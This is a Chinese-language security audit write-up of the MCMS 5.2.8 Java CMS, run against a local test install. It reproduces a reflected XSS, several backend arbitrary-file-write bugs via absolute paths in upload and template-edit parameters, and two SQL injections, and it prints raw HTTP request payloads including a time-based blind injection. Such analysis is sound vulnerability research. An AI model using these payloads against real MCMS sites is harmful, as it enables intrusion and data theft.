MCMS 審計之路
MCMS 是 J2EE 系統,完整開源的Java CMS,基于SpringBoot 2架構,前端基于vue、element ui。為開發者提供上百套免費模板,同時提供適用的插件(文章、商城、微信、論壇、會員、評論、支付、積分、工作流、任務調度等...),一套簡單好用的開源系統、一整套優質的開源生態內容體系。
十天前 MCMS 更新了新的一版本 5.2.9 提示新版本進行了 SQL 安全方面的優化,所以我們嘗試 審計 MCMS 5.2.8

環境搭建
我們下載好安裝包后
- 利用 idea 打開項目
- 創建數據庫 mcms,導入
doc/mcms-5.2.8.sql - 修改
src/main/resources/application-dev.yml中關于數據庫設置參數 - 運行MSApplication.java main方法
- 利用賬戶名:密碼 msopen:msopen 登錄后臺
http://localhost:8080/ms/login.do - 進入后臺點擊內容管理->靜態化菜單 -> 生成主頁、生成欄目、生成文章
啟動的時候會有一點小 bug 需要在 idea 中配置

運行成功后,頁面如圖所示
?
前臺反射型 XSS
漏洞復現
?



漏洞分析
我們看到運行后的控制臺輸出為

我們找到 net.mingsoft.basic.filter.XssHttpServletRequestWrapper 并添加斷點,再次觸發漏洞,看到一個完整的調用棧,
net.mingsoft.basic.filter.XssHttpServletRequestWrapper#clean(java.lang.String, java.lang.String)
?
后臺命令執行一
漏洞復現
后臺有一個可以上傳模板文件的位置

我們上傳文件并抓取數據包

我們看到數據包中的參數 uploadPath 指定了上傳的位置,最后返回了上傳后的路徑以及文件內容

通過修改 參數 uploadPath 的值,我們就可以將文件上傳 webapp 的任意目錄下
我們寫一個 1.txt 進行驗證
POST /ms/file/uploadTemplate.do HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Length: 506 Accept: */* Accept-Encoding: identity Accept-Language: zh-CN,zh;q=0.9 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A Cookie: Origin: http://localhost:8080 Referer: http://localhost:8080/ms/template/list.do?template=1/default Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="uploadPath" / ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="uploadFloderPath" true ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="rename" false ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="file"; filename="1.txt" Content-Type: text/html test ------WebKitFormBoundaryz3nUf5Hws24R3B3A--


漏洞分析
通過路由 /ms/file/uploadTemplate 定位到代碼位置
net.mingsoft.basic.action.ManageFileAction#uploadTemplate

我們看到雖然存在非法路徑過濾函數,查看函數內容,僅僅是對 ../ 進行了校驗,通過絕對路徑仍然可以繞過
net.mingsoft.basic.action.ManageFileAction#checkUploadPath

net.mingsoft.basic.action.BaseFileAction#uploadTemplate

后臺命令執行二
漏洞復現
我們看到除了上傳模板的接口,還存在編輯模板的接口

點擊編輯,編輯后保存并抓取數據包
原本的數據包

我們看到參數 fileName 通過絕對路徑指定了文件名,所以我們可以通過修改 fileName 來實現絕對路徑寫入


漏洞分析
net.mingsoft.basic.action.TemplateAction#writeFileContent

我們看到對文件的后綴名進行了檢驗,但還是通過傳入的參數 fileName 寫入文件
后臺命令執行三
漏洞復現
構造數據包
POST /ms/file/upload.do HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Length: 506 Accept: */* Accept-Encoding: identity Accept-Language: zh-CN,zh;q=0.9 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A Cookie: Origin: http://localhost:8080 Referer: http://localhost:8080/ms/template/list.do?template=1/default Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="uploadPath" / ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="uploadFloderPath" true ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="rename" false ------WebKitFormBoundaryz3nUf5Hws24R3B3A Content-Disposition: form-data; name="file"; filename="3.txt" Content-Type: text/html test ------WebKitFormBoundaryz3nUf5Hws24R3B3A--
返回上傳成功的文件的地址
?
漏洞分析
這個漏洞是在第一個后臺命令執行的基礎上發現的,兩個類位于同一個文件內
net.mingsoft.basic.action.ManageFileAction#upload

雖然存在非法路徑過濾函數 checkUploadPath ,查看函數內容,僅僅是對 ../ 進行了校驗,通過絕對路徑仍然可以繞過
對文件的上傳是利用了
net.mingsoft.basic.action.BaseFileAction#upload

存在很多過濾,但是還是可以成功上傳文件
后臺 SQL 注入漏洞
漏洞復現
構造數據包
GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=1&id=1&idName=1 HTTP/1.1 Host: localhost:8080 Accept: application/json, text/plain, */* Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cache-Control: no-cache Cookie: Pragma: no-cache Referer: http://localhost:8080/ms/model/index.do? Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 X-Requested-With: XMLHttpRequest sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" token: null

發現成功使得服務器沉睡五秒
漏洞分析
net.mingsoft.mdiy.action.PageAction#verify

獲取參數并傳到方法 validated
net.mingsoft.basic.action.BaseAction#validated(java.lang.String, java.lang.String, java.lang.String)

將 fieldName 和 fieldValue 的傳入到 where 參數中
net.mingsoft.base.biz.impl.BaseBizImpl#queryBySQL(java.lang.String, java.util.List, java.util.Map)

net.mingsoft.base.dao.IBaseDao#queryBySQL

因為是 mybits 所以未采用預編譯的 ${ 就容易產生注入
?
后臺 SQL 注入二
漏洞復現
登錄后臺后我們找到自定義模型的位置

根據代碼生成器 生成一個自定義模型 json 并導入保存
點擊刪除時 抓取數據包

修改modelTableName

發現成功使得服務器沉睡五秒
漏洞分析
net.mingsoft.mdiy.action.ModelAction#delete

net.mingsoft.base.biz.impl.BaseBizImpl#dropTable

net.mingsoft.base.dao.IBaseDao

?

查看dropTable對應的mapper內容如下,直接將table內容進行拼接且未預編譯,造成SQL注入。